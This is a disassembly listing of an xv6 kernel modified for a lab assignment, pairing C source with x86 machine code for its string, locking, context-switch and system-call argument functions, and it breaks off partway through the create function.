80104219: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104220 <release>:
{
80104220: 55 push %ebp
80104221: 89 e5 mov %esp,%ebp
80104223: 56 push %esi
80104224: 53 push %ebx
80104225: 83 ec 10 sub $0x10,%esp
80104228: 8b 5d 08 mov 0x8(%ebp),%ebx
return lock->locked && lock->cpu == mycpu();
8010422b: 8b 03 mov (%ebx),%eax
8010422d: 85 c0 test %eax,%eax
8010422f: 75 0f jne 80104240 <release+0x20>
panic("release");
80104231: c7 04 24 e9 74 10 80 movl $0x801074e9,(%esp)
80104238: e8 23 c1 ff ff call 80100360 <panic>
8010423d: 8d 76 00 lea 0x0(%esi),%esi
return lock->locked && lock->cpu == mycpu();
80104240: 8b 73 08 mov 0x8(%ebx),%esi
80104243: e8 a8 f3 ff ff call 801035f0 <mycpu>
if(!holding(lk))
80104248: 39 c6 cmp %eax,%esi
8010424a: 75 e5 jne 80104231 <release+0x11>
lk->pcs[0] = 0;
8010424c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx)
lk->cpu = 0;
80104253: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx)
__sync_synchronize();
8010425a: 0f ae f0 mfence
asm volatile("movl $0, %0" : "+m" (lk->locked) : );
8010425d: c7 03 00 00 00 00 movl $0x0,(%ebx)
}
80104263: 83 c4 10 add $0x10,%esp
80104266: 5b pop %ebx
80104267: 5e pop %esi
80104268: 5d pop %ebp
popcli();
80104269: e9 42 ff ff ff jmp 801041b0 <popcli>
8010426e: 66 90 xchg %ax,%ax
80104270 <memset>:
#include "types.h"
#include "x86.h"
void*
memset(void *dst, int c, uint n)
{
80104270: 55 push %ebp
80104271: 89 e5 mov %esp,%ebp
80104273: 8b 55 08 mov 0x8(%ebp),%edx
80104276: 57 push %edi
80104277: 8b 4d 10 mov 0x10(%ebp),%ecx
8010427a: 53 push %ebx
if ((int)dst%4 == 0 && n%4 == 0){
8010427b: f6 c2 03 test $0x3,%dl
8010427e: 75 05 jne 80104285 <memset+0x15>
80104280: f6 c1 03 test $0x3,%cl
80104283: 74 13 je 80104298 <memset+0x28>
asm volatile("cld; rep stosb" :
80104285: 89 d7 mov %edx,%edi
80104287: 8b 45 0c mov 0xc(%ebp),%eax
8010428a: fc cld
8010428b: f3 aa rep stos %al,%es:(%edi)
c &= 0xFF;
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
} else
stosb(dst, c, n);
return dst;
}
8010428d: 5b pop %ebx
8010428e: 89 d0 mov %edx,%eax
80104290: 5f pop %edi
80104291: 5d pop %ebp
80104292: c3 ret
80104293: 90 nop
80104294: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
c &= 0xFF;
80104298: 0f b6 7d 0c movzbl 0xc(%ebp),%edi
stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4);
8010429c: c1 e9 02 shr $0x2,%ecx
8010429f: 89 f8 mov %edi,%eax
801042a1: 89 fb mov %edi,%ebx
801042a3: c1 e0 18 shl $0x18,%eax
801042a6: c1 e3 10 shl $0x10,%ebx
801042a9: 09 d8 or %ebx,%eax
801042ab: 09 f8 or %edi,%eax
801042ad: c1 e7 08 shl $0x8,%edi
801042b0: 09 f8 or %edi,%eax
asm volatile("cld; rep stosl" :
801042b2: 89 d7 mov %edx,%edi
801042b4: fc cld
801042b5: f3 ab rep stos %eax,%es:(%edi)
}
801042b7: 5b pop %ebx
801042b8: 89 d0 mov %edx,%eax
801042ba: 5f pop %edi
801042bb: 5d pop %ebp
801042bc: c3 ret
801042bd: 8d 76 00 lea 0x0(%esi),%esi
801042c0 <memcmp>:
int
memcmp(const void *v1, const void *v2, uint n)
{
801042c0: 55 push %ebp
801042c1: 89 e5 mov %esp,%ebp
801042c3: 8b 45 10 mov 0x10(%ebp),%eax
801042c6: 57 push %edi
801042c7: 56 push %esi
801042c8: 8b 75 0c mov 0xc(%ebp),%esi
801042cb: 53 push %ebx
801042cc: 8b 5d 08 mov 0x8(%ebp),%ebx
const uchar *s1, *s2;
s1 = v1;
s2 = v2;
while(n-- > 0){
801042cf: 85 c0 test %eax,%eax
801042d1: 8d 78 ff lea -0x1(%eax),%edi
801042d4: 74 26 je 801042fc <memcmp+0x3c>
if(*s1 != *s2)
801042d6: 0f b6 03 movzbl (%ebx),%eax
801042d9: 31 d2 xor %edx,%edx
801042db: 0f b6 0e movzbl (%esi),%ecx
801042de: 38 c8 cmp %cl,%al
801042e0: 74 16 je 801042f8 <memcmp+0x38>
801042e2: eb 24 jmp 80104308 <memcmp+0x48>
801042e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801042e8: 0f b6 44 13 01 movzbl 0x1(%ebx,%edx,1),%eax
801042ed: 83 c2 01 add $0x1,%edx
801042f0: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
801042f4: 38 c8 cmp %cl,%al
801042f6: 75 10 jne 80104308 <memcmp+0x48>
while(n-- > 0){
801042f8: 39 fa cmp %edi,%edx
801042fa: 75 ec jne 801042e8 <memcmp+0x28>
return *s1 - *s2;
s1++, s2++;
}
return 0;
}
801042fc: 5b pop %ebx
return 0;
801042fd: 31 c0 xor %eax,%eax
}
801042ff: 5e pop %esi
80104300: 5f pop %edi
80104301: 5d pop %ebp
80104302: c3 ret
80104303: 90 nop
80104304: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104308: 5b pop %ebx
return *s1 - *s2;
80104309: 29 c8 sub %ecx,%eax
}
8010430b: 5e pop %esi
8010430c: 5f pop %edi
8010430d: 5d pop %ebp
8010430e: c3 ret
8010430f: 90 nop
80104310 <memmove>:
void*
memmove(void *dst, const void *src, uint n)
{
80104310: 55 push %ebp
80104311: 89 e5 mov %esp,%ebp
80104313: 57 push %edi
80104314: 8b 45 08 mov 0x8(%ebp),%eax
80104317: 56 push %esi
80104318: 8b 75 0c mov 0xc(%ebp),%esi
8010431b: 53 push %ebx
8010431c: 8b 5d 10 mov 0x10(%ebp),%ebx
const char *s;
char *d;
s = src;
d = dst;
if(s < d && s + n > d){
8010431f: 39 c6 cmp %eax,%esi
80104321: 73 35 jae 80104358 <memmove+0x48>
80104323: 8d 0c 1e lea (%esi,%ebx,1),%ecx
80104326: 39 c8 cmp %ecx,%eax
80104328: 73 2e jae 80104358 <memmove+0x48>
s += n;
d += n;
while(n-- > 0)
8010432a: 85 db test %ebx,%ebx
d += n;
8010432c: 8d 3c 18 lea (%eax,%ebx,1),%edi
while(n-- > 0)
8010432f: 8d 53 ff lea -0x1(%ebx),%edx
80104332: 74 1b je 8010434f <memmove+0x3f>
80104334: f7 db neg %ebx
80104336: 8d 34 19 lea (%ecx,%ebx,1),%esi
80104339: 01 fb add %edi,%ebx
8010433b: 90 nop
8010433c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
*--d = *--s;
80104340: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
80104344: 88 0c 13 mov %cl,(%ebx,%edx,1)
while(n-- > 0)
80104347: 83 ea 01 sub $0x1,%edx
8010434a: 83 fa ff cmp $0xffffffff,%edx
8010434d: 75 f1 jne 80104340 <memmove+0x30>
} else
while(n-- > 0)
*d++ = *s++;
return dst;
}
8010434f: 5b pop %ebx
80104350: 5e pop %esi
80104351: 5f pop %edi
80104352: 5d pop %ebp
80104353: c3 ret
80104354: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(n-- > 0)
80104358: 31 d2 xor %edx,%edx
8010435a: 85 db test %ebx,%ebx
8010435c: 74 f1 je 8010434f <memmove+0x3f>
8010435e: 66 90 xchg %ax,%ax
*d++ = *s++;
80104360: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx
80104364: 88 0c 10 mov %cl,(%eax,%edx,1)
80104367: 83 c2 01 add $0x1,%edx
while(n-- > 0)
8010436a: 39 da cmp %ebx,%edx
8010436c: 75 f2 jne 80104360 <memmove+0x50>
}
8010436e: 5b pop %ebx
8010436f: 5e pop %esi
80104370: 5f pop %edi
80104371: 5d pop %ebp
80104372: c3 ret
80104373: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104380 <memcpy>:
// memcpy exists to placate GCC. Use memmove.
void*
memcpy(void *dst, const void *src, uint n)
{
80104380: 55 push %ebp
80104381: 89 e5 mov %esp,%ebp
return memmove(dst, src, n);
}
80104383: 5d pop %ebp
return memmove(dst, src, n);
80104384: eb 8a jmp 80104310 <memmove>
80104386: 8d 76 00 lea 0x0(%esi),%esi
80104389: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104390 <strncmp>:
int
strncmp(const char *p, const char *q, uint n)
{
80104390: 55 push %ebp
80104391: 89 e5 mov %esp,%ebp
80104393: 56 push %esi
80104394: 8b 75 10 mov 0x10(%ebp),%esi
80104397: 53 push %ebx
80104398: 8b 4d 08 mov 0x8(%ebp),%ecx
8010439b: 8b 5d 0c mov 0xc(%ebp),%ebx
while(n > 0 && *p && *p == *q)
8010439e: 85 f6 test %esi,%esi
801043a0: 74 30 je 801043d2 <strncmp+0x42>
801043a2: 0f b6 01 movzbl (%ecx),%eax
801043a5: 84 c0 test %al,%al
801043a7: 74 2f je 801043d8 <strncmp+0x48>
801043a9: 0f b6 13 movzbl (%ebx),%edx
801043ac: 38 d0 cmp %dl,%al
801043ae: 75 46 jne 801043f6 <strncmp+0x66>
801043b0: 8d 51 01 lea 0x1(%ecx),%edx
801043b3: 01 ce add %ecx,%esi
801043b5: eb 14 jmp 801043cb <strncmp+0x3b>
801043b7: 90 nop
801043b8: 0f b6 02 movzbl (%edx),%eax
801043bb: 84 c0 test %al,%al
801043bd: 74 31 je 801043f0 <strncmp+0x60>
801043bf: 0f b6 19 movzbl (%ecx),%ebx
801043c2: 83 c2 01 add $0x1,%edx
801043c5: 38 d8 cmp %bl,%al
801043c7: 75 17 jne 801043e0 <strncmp+0x50>
n--, p++, q++;
801043c9: 89 cb mov %ecx,%ebx
while(n > 0 && *p && *p == *q)
801043cb: 39 f2 cmp %esi,%edx
n--, p++, q++;
801043cd: 8d 4b 01 lea 0x1(%ebx),%ecx
while(n > 0 && *p && *p == *q)
801043d0: 75 e6 jne 801043b8 <strncmp+0x28>
if(n == 0)
return 0;
return (uchar)*p - (uchar)*q;
}
801043d2: 5b pop %ebx
return 0;
801043d3: 31 c0 xor %eax,%eax
}
801043d5: 5e pop %esi
801043d6: 5d pop %ebp
801043d7: c3 ret
801043d8: 0f b6 1b movzbl (%ebx),%ebx
while(n > 0 && *p && *p == *q)
801043db: 31 c0 xor %eax,%eax
801043dd: 8d 76 00 lea 0x0(%esi),%esi
return (uchar)*p - (uchar)*q;
801043e0: 0f b6 d3 movzbl %bl,%edx
801043e3: 29 d0 sub %edx,%eax
}
801043e5: 5b pop %ebx
801043e6: 5e pop %esi
801043e7: 5d pop %ebp
801043e8: c3 ret
801043e9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801043f0: 0f b6 5b 01 movzbl 0x1(%ebx),%ebx
801043f4: eb ea jmp 801043e0 <strncmp+0x50>
while(n > 0 && *p && *p == *q)
801043f6: 89 d3 mov %edx,%ebx
801043f8: eb e6 jmp 801043e0 <strncmp+0x50>
801043fa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104400 <strncpy>:
char*
strncpy(char *s, const char *t, int n)
{
80104400: 55 push %ebp
80104401: 89 e5 mov %esp,%ebp
80104403: 8b 45 08 mov 0x8(%ebp),%eax
80104406: 56 push %esi
80104407: 8b 4d 10 mov 0x10(%ebp),%ecx
8010440a: 53 push %ebx
8010440b: 8b 5d 0c mov 0xc(%ebp),%ebx
char *os;
os = s;
while(n-- > 0 && (*s++ = *t++) != 0)
8010440e: 89 c2 mov %eax,%edx
80104410: eb 19 jmp 8010442b <strncpy+0x2b>
80104412: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80104418: 83 c3 01 add $0x1,%ebx
8010441b: 0f b6 4b ff movzbl -0x1(%ebx),%ecx
8010441f: 83 c2 01 add $0x1,%edx
80104422: 84 c9 test %cl,%cl
80104424: 88 4a ff mov %cl,-0x1(%edx)
80104427: 74 09 je 80104432 <strncpy+0x32>
80104429: 89 f1 mov %esi,%ecx
8010442b: 85 c9 test %ecx,%ecx
8010442d: 8d 71 ff lea -0x1(%ecx),%esi
80104430: 7f e6 jg 80104418 <strncpy+0x18>
;
while(n-- > 0)
80104432: 31 c9 xor %ecx,%ecx
80104434: 85 f6 test %esi,%esi
80104436: 7e 0f jle 80104447 <strncpy+0x47>
*s++ = 0;
80104438: c6 04 0a 00 movb $0x0,(%edx,%ecx,1)
8010443c: 89 f3 mov %esi,%ebx
8010443e: 83 c1 01 add $0x1,%ecx
80104441: 29 cb sub %ecx,%ebx
while(n-- > 0)
80104443: 85 db test %ebx,%ebx
80104445: 7f f1 jg 80104438 <strncpy+0x38>
return os;
}
80104447: 5b pop %ebx
80104448: 5e pop %esi
80104449: 5d pop %ebp
8010444a: c3 ret
8010444b: 90 nop
8010444c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104450 <safestrcpy>:
// Like strncpy but guaranteed to NUL-terminate.
char*
safestrcpy(char *s, const char *t, int n)
{
80104450: 55 push %ebp
80104451: 89 e5 mov %esp,%ebp
80104453: 8b 4d 10 mov 0x10(%ebp),%ecx
80104456: 56 push %esi
80104457: 8b 45 08 mov 0x8(%ebp),%eax
8010445a: 53 push %ebx
8010445b: 8b 55 0c mov 0xc(%ebp),%edx
char *os;
os = s;
if(n <= 0)
8010445e: 85 c9 test %ecx,%ecx
80104460: 7e 26 jle 80104488 <safestrcpy+0x38>
80104462: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi
80104466: 89 c1 mov %eax,%ecx
80104468: eb 17 jmp 80104481 <safestrcpy+0x31>
8010446a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return os;
while(--n > 0 && (*s++ = *t++) != 0)
80104470: 83 c2 01 add $0x1,%edx
80104473: 0f b6 5a ff movzbl -0x1(%edx),%ebx
80104477: 83 c1 01 add $0x1,%ecx
8010447a: 84 db test %bl,%bl
8010447c: 88 59 ff mov %bl,-0x1(%ecx)
8010447f: 74 04 je 80104485 <safestrcpy+0x35>
80104481: 39 f2 cmp %esi,%edx
80104483: 75 eb jne 80104470 <safestrcpy+0x20>
;
*s = 0;
80104485: c6 01 00 movb $0x0,(%ecx)
return os;
}
80104488: 5b pop %ebx
80104489: 5e pop %esi
8010448a: 5d pop %ebp
8010448b: c3 ret
8010448c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104490 <strlen>:
int
strlen(const char *s)
{
80104490: 55 push %ebp
int n;
for(n = 0; s[n]; n++)
80104491: 31 c0 xor %eax,%eax
{
80104493: 89 e5 mov %esp,%ebp
80104495: 8b 55 08 mov 0x8(%ebp),%edx
for(n = 0; s[n]; n++)
80104498: 80 3a 00 cmpb $0x0,(%edx)
8010449b: 74 0c je 801044a9 <strlen+0x19>
8010449d: 8d 76 00 lea 0x0(%esi),%esi
801044a0: 83 c0 01 add $0x1,%eax
801044a3: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1)
801044a7: 75 f7 jne 801044a0 <strlen+0x10>
;
return n;
}
801044a9: 5d pop %ebp
801044aa: c3 ret
801044ab <swtch>:
# Save current register context in old
# and then load register context from new.
.globl swtch
swtch:
movl 4(%esp), %eax
801044ab: 8b 44 24 04 mov 0x4(%esp),%eax
movl 8(%esp), %edx
801044af: 8b 54 24 08 mov 0x8(%esp),%edx
# Save old callee-save registers
pushl %ebp
801044b3: 55 push %ebp
pushl %ebx
801044b4: 53 push %ebx
pushl %esi
801044b5: 56 push %esi
pushl %edi
801044b6: 57 push %edi
# Switch stacks
movl %esp, (%eax)
801044b7: 89 20 mov %esp,(%eax)
movl %edx, %esp
801044b9: 89 d4 mov %edx,%esp
# Load new callee-save registers
popl %edi
801044bb: 5f pop %edi
popl %esi
801044bc: 5e pop %esi
popl %ebx
801044bd: 5b pop %ebx
popl %ebp
801044be: 5d pop %ebp
ret
801044bf: c3 ret
801044c0 <fetchint>:
// to a saved program counter, and then the first argument.
// Fetch the int at addr from the current process.
int
fetchint(uint addr, int *ip)
{
801044c0: 55 push %ebp
801044c1: 89 e5 mov %esp,%ebp
801044c3: 8b 45 08 mov 0x8(%ebp),%eax
//struct proc *curproc = myproc();
if(addr >= STACKTOP || addr+4 > STACKTOP) //LAB3 changes
801044c6: 3d f8 ff ff 7f cmp $0x7ffffff8,%eax
801044cb: 77 0b ja 801044d8 <fetchint+0x18>
return -1;
*ip = *(int*)(addr);
801044cd: 8b 10 mov (%eax),%edx
801044cf: 8b 45 0c mov 0xc(%ebp),%eax
801044d2: 89 10 mov %edx,(%eax)
return 0;
801044d4: 31 c0 xor %eax,%eax
}
801044d6: 5d pop %ebp
801044d7: c3 ret
return -1;
801044d8: b8 ff ff ff ff mov $0xffffffff,%eax
}
801044dd: 5d pop %ebp
801044de: c3 ret
801044df: 90 nop
801044e0 <fetchstr>:
// Fetch the nul-terminated string at addr from the current process.
// Doesn't actually copy the string - just sets *pp to point at it.
// Returns length of string, not including nul.
int
fetchstr(uint addr, char **pp)
{
801044e0: 55 push %ebp
801044e1: 89 e5 mov %esp,%ebp
801044e3: 53 push %ebx
801044e4: 83 ec 04 sub $0x4,%esp
801044e7: 8b 5d 08 mov 0x8(%ebp),%ebx
char *s, *ep;
struct proc *curproc = myproc();
801044ea: e8 a1 f1 ff ff call 80103690 <myproc>
if(addr >= STACKTOP) //LAB 3 changes
801044ef: 81 fb fb ff ff 7f cmp $0x7ffffffb,%ebx
801044f5: 77 25 ja 8010451c <fetchstr+0x3c>
return -1;
*pp = (char*)addr;
801044f7: 8b 4d 0c mov 0xc(%ebp),%ecx
801044fa: 89 da mov %ebx,%edx
801044fc: 89 19 mov %ebx,(%ecx)
ep = (char*)curproc->sz; //LAB 3 changes
801044fe: 8b 00 mov (%eax),%eax
for(s = *pp; s < ep; s++){
80104500: 39 c3 cmp %eax,%ebx
80104502: 73 18 jae 8010451c <fetchstr+0x3c>
if(*s == 0)
80104504: 80 3b 00 cmpb $0x0,(%ebx)
80104507: 75 0c jne 80104515 <fetchstr+0x35>
80104509: eb 1d jmp 80104528 <fetchstr+0x48>
8010450b: 90 nop
8010450c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80104510: 80 3a 00 cmpb $0x0,(%edx)
80104513: 74 13 je 80104528 <fetchstr+0x48>
for(s = *pp; s < ep; s++){
80104515: 83 c2 01 add $0x1,%edx
80104518: 39 d0 cmp %edx,%eax
8010451a: 77 f4 ja 80104510 <fetchstr+0x30>
return s - *pp;
}
return -1;
}
8010451c: 83 c4 04 add $0x4,%esp
return -1;
8010451f: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104524: 5b pop %ebx
80104525: 5d pop %ebp
80104526: c3 ret
80104527: 90 nop
80104528: 83 c4 04 add $0x4,%esp
return s - *pp;
8010452b: 89 d0 mov %edx,%eax
8010452d: 29 d8 sub %ebx,%eax
}
8010452f: 5b pop %ebx
80104530: 5d pop %ebp
80104531: c3 ret
80104532: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80104539: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104540 <argint>:
// Fetch the nth 32-bit system call argument.
int
argint(int n, int *ip)
{
80104540: 55 push %ebp
80104541: 89 e5 mov %esp,%ebp
80104543: 83 ec 08 sub $0x8,%esp
return fetchint((myproc()->tf->esp) + 4 + 4*n, ip);
80104546: e8 45 f1 ff ff call 80103690 <myproc>
8010454b: 8b 55 08 mov 0x8(%ebp),%edx
8010454e: 8b 40 18 mov 0x18(%eax),%eax
80104551: 8b 40 44 mov 0x44(%eax),%eax
80104554: 8d 44 90 04 lea 0x4(%eax,%edx,4),%eax
if(addr >= STACKTOP || addr+4 > STACKTOP) //LAB3 changes
80104558: 3d f8 ff ff 7f cmp $0x7ffffff8,%eax
8010455d: 77 11 ja 80104570 <argint+0x30>
*ip = *(int*)(addr);
8010455f: 8b 10 mov (%eax),%edx
80104561: 8b 45 0c mov 0xc(%ebp),%eax
80104564: 89 10 mov %edx,(%eax)
return 0;
80104566: 31 c0 xor %eax,%eax
}
80104568: c9 leave
80104569: c3 ret
8010456a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
return -1;
80104570: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104575: c9 leave
80104576: c3 ret
80104577: 89 f6 mov %esi,%esi
80104579: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104580 <argptr>:
// Fetch the nth word-sized system call argument as a pointer
// to a block of memory of size bytes. Check that the pointer
// lies within the process address space.
int
argptr(int n, char **pp, int size)
{
80104580: 55 push %ebp
80104581: 89 e5 mov %esp,%ebp
80104583: 53 push %ebx
80104584: 83 ec 24 sub $0x24,%esp
80104587: 8b 5d 10 mov 0x10(%ebp),%ebx
int i;
//struct proc *curproc = myproc();
if(argint(n, &i) < 0)
8010458a: 8d 45 f4 lea -0xc(%ebp),%eax
8010458d: 89 44 24 04 mov %eax,0x4(%esp)
80104591: 8b 45 08 mov 0x8(%ebp),%eax
80104594: 89 04 24 mov %eax,(%esp)
80104597: e8 a4 ff ff ff call 80104540 <argint>
8010459c: 85 c0 test %eax,%eax
8010459e: 78 28 js 801045c8 <argptr+0x48>
return -1;
if(size < 0 || (uint)i >= STACKTOP || (uint)i+size > STACKTOP) //lab 3 changes
801045a0: 85 db test %ebx,%ebx
801045a2: 78 24 js 801045c8 <argptr+0x48>
801045a4: 8b 45 f4 mov -0xc(%ebp),%eax
801045a7: 3d fb ff ff 7f cmp $0x7ffffffb,%eax
801045ac: 77 1a ja 801045c8 <argptr+0x48>
801045ae: 01 c3 add %eax,%ebx
801045b0: 81 fb fc ff ff 7f cmp $0x7ffffffc,%ebx
801045b6: 77 10 ja 801045c8 <argptr+0x48>
return -1;
*pp = (char*)i;
801045b8: 8b 55 0c mov 0xc(%ebp),%edx
801045bb: 89 02 mov %eax,(%edx)
return 0;
}
801045bd: 83 c4 24 add $0x24,%esp
return 0;
801045c0: 31 c0 xor %eax,%eax
}
801045c2: 5b pop %ebx
801045c3: 5d pop %ebp
801045c4: c3 ret
801045c5: 8d 76 00 lea 0x0(%esi),%esi
801045c8: 83 c4 24 add $0x24,%esp
return -1;
801045cb: b8 ff ff ff ff mov $0xffffffff,%eax
}
801045d0: 5b pop %ebx
801045d1: 5d pop %ebp
801045d2: c3 ret
801045d3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801045d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801045e0 <argstr>:
// Check that the pointer is valid and the string is nul-terminated.
// (There is no shared writable memory, so the string can't change
// between this check and being used by the kernel.)
int
argstr(int n, char **pp)
{
801045e0: 55 push %ebp
801045e1: 89 e5 mov %esp,%ebp
801045e3: 83 ec 28 sub $0x28,%esp
int addr;
if(argint(n, &addr) < 0)
801045e6: 8d 45 f4 lea -0xc(%ebp),%eax
801045e9: 89 44 24 04 mov %eax,0x4(%esp)
801045ed: 8b 45 08 mov 0x8(%ebp),%eax
801045f0: 89 04 24 mov %eax,(%esp)
801045f3: e8 48 ff ff ff call 80104540 <argint>
801045f8: 85 c0 test %eax,%eax
801045fa: 78 14 js 80104610 <argstr+0x30>
return -1;
return fetchstr(addr, pp);
801045fc: 8b 45 0c mov 0xc(%ebp),%eax
801045ff: 89 44 24 04 mov %eax,0x4(%esp)
80104603: 8b 45 f4 mov -0xc(%ebp),%eax
80104606: 89 04 24 mov %eax,(%esp)
80104609: e8 d2 fe ff ff call 801044e0 <fetchstr>
}
8010460e: c9 leave
8010460f: c3 ret
return -1;
80104610: b8 ff ff ff ff mov $0xffffffff,%eax
}
80104615: c9 leave
80104616: c3 ret
80104617: 89 f6 mov %esi,%esi
80104619: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80104620 <syscall>:
[SYS_close] sys_close,
};
void
syscall(void)
{
80104620: 55 push %ebp
80104621: 89 e5 mov %esp,%ebp
80104623: 56 push %esi
80104624: 53 push %ebx
80104625: 83 ec 10 sub $0x10,%esp
int num;
struct proc *curproc = myproc();
80104628: e8 63 f0 ff ff call 80103690 <myproc>
num = curproc->tf->eax;
8010462d: 8b 70 18 mov 0x18(%eax),%esi
struct proc *curproc = myproc();
80104630: 89 c3 mov %eax,%ebx
num = curproc->tf->eax;
80104632: 8b 46 1c mov 0x1c(%esi),%eax
if(num > 0 && num < NELEM(syscalls) && syscalls[num]) {
80104635: 8d 50 ff lea -0x1(%eax),%edx
80104638: 83 fa 14 cmp $0x14,%edx
8010463b: 77 1b ja 80104658 <syscall+0x38>
8010463d: 8b 14 85 20 75 10 80 mov -0x7fef8ae0(,%eax,4),%edx
80104644: 85 d2 test %edx,%edx
80104646: 74 10 je 80104658 <syscall+0x38>
curproc->tf->eax = syscalls[num]();
80104648: ff d2 call *%edx
8010464a: 89 46 1c mov %eax,0x1c(%esi)
} else {
cprintf("%d %s: unknown sys call %d\n",
curproc->pid, curproc->name, num);
curproc->tf->eax = -1;
}
}
8010464d: 83 c4 10 add $0x10,%esp
80104650: 5b pop %ebx
80104651: 5e pop %esi
80104652: 5d pop %ebp
80104653: c3 ret
80104654: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cprintf("%d %s: unknown sys call %d\n",
80104658: 89 44 24 0c mov %eax,0xc(%esp)
curproc->pid, curproc->name, num);
8010465c: 8d 43 6c lea 0x6c(%ebx),%eax
8010465f: 89 44 24 08 mov %eax,0x8(%esp)
cprintf("%d %s: unknown sys call %d\n",
80104663: 8b 43 10 mov 0x10(%ebx),%eax
80104666: c7 04 24 f1 74 10 80 movl $0x801074f1,(%esp)
8010466d: 89 44 24 04 mov %eax,0x4(%esp)
80104671: e8 da bf ff ff call 80100650 <cprintf>
curproc->tf->eax = -1;
80104676: 8b 43 18 mov 0x18(%ebx),%eax
80104679: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax)
}
80104680: 83 c4 10 add $0x10,%esp
80104683: 5b pop %ebx
80104684: 5e pop %esi
80104685: 5d pop %ebp
80104686: c3 ret
80104687: 66 90 xchg %ax,%ax
80104689: 66 90 xchg %ax,%ax
8010468b: 66 90 xchg %ax,%ax
8010468d: 66 90 xchg %ax,%ax
8010468f: 90 nop
80104690 <fdalloc>:
// Allocate a file descriptor for the given file.
// Takes over file reference from caller on success.
static int
fdalloc(struct file *f)
{
80104690: 55 push %ebp
80104691: 89 e5 mov %esp,%ebp
80104693: 53 push %ebx
80104694: 89 c3 mov %eax,%ebx
80104696: 83 ec 04 sub $0x4,%esp
int fd;
struct proc *curproc = myproc();
80104699: e8 f2 ef ff ff call 80103690 <myproc>
for(fd = 0; fd < NOFILE; fd++){
8010469e: 31 d2 xor %edx,%edx
if(curproc->ofile[fd] == 0){
801046a0: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx
801046a4: 85 c9 test %ecx,%ecx
801046a6: 74 18 je 801046c0 <fdalloc+0x30>
for(fd = 0; fd < NOFILE; fd++){
801046a8: 83 c2 01 add $0x1,%edx
801046ab: 83 fa 10 cmp $0x10,%edx
801046ae: 75 f0 jne 801046a0 <fdalloc+0x10>
curproc->ofile[fd] = f;
return fd;
}
}
return -1;
}
801046b0: 83 c4 04 add $0x4,%esp
return -1;
801046b3: b8 ff ff ff ff mov $0xffffffff,%eax
}
801046b8: 5b pop %ebx
801046b9: 5d pop %ebp
801046ba: c3 ret
801046bb: 90 nop
801046bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
curproc->ofile[fd] = f;
801046c0: 89 5c 90 28 mov %ebx,0x28(%eax,%edx,4)
}
801046c4: 83 c4 04 add $0x4,%esp
return fd;
801046c7: 89 d0 mov %edx,%eax
}
801046c9: 5b pop %ebx
801046ca: 5d pop %ebp
801046cb: c3 ret
801046cc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801046d0 <create>:
return -1;
}
static struct inode*
create(char *path, short type, short major, short minor)
{
801046d0: 55 push %ebp
801046d1: 89 e5 mov %esp,%ebp
801046d3: 57 push %edi
801046d4: 56 push %esi
801046d5: 53 push %ebx
801046d6: 83 ec 4c sub $0x4c,%esp
801046d9: 89 4d c0 mov %ecx,-0x40(%ebp)
801046dc: 8b 4d 08 mov 0x8(%ebp),%ecx
uint off;
struct inode *ip, *dp;
char name[DIRSIZ];
if((dp = nameiparent(path, name)) == 0)
801046df: 8d 5d da lea -0x26(%ebp),%ebx
801046e2: 89 5c 24 04 mov %ebx,0x4(%esp)
801046e6: 89 04 24 mov %eax,(%esp)
{
801046e9: 89 55 c4 mov %edx,-0x3c(%ebp)
801046ec: 89 4d bc mov %ecx,-0x44(%ebp)
if((dp = nameiparent(path, name)) == 0)
801046ef: e8 1c d8 ff ff call 80101f10 <nameiparent>
801046f4: 85 c0 test %eax,%eax
801046f6: 89 c7 mov %eax,%edi
801046f8: 0f 84 da 00 00 00 je 801047d8 <create+0x108>
return 0;
ilock(dp);
801046fe: 89 04 24 mov %eax,(%esp)
80104701: e8 9a cf ff ff call 801016a0 <ilock>
if((ip = dirlookup(dp, name, &off)) != 0){
80104706: 8d 45 d4 lea -0x2c(%ebp),%eax
80104709: 89 44 24 08 mov %eax,0x8(%esp)
8010470d: 89 5c 24 04 mov %ebx,0x4(%esp)
80104711: 89 3c 24 mov %edi,(%esp)
80104714: e8 97 d4 ff ff call 80101bb0 <dirlookup>
80104719: 85 c0 test %eax,%eax
8010471b: 89 c6 mov %eax,%esi
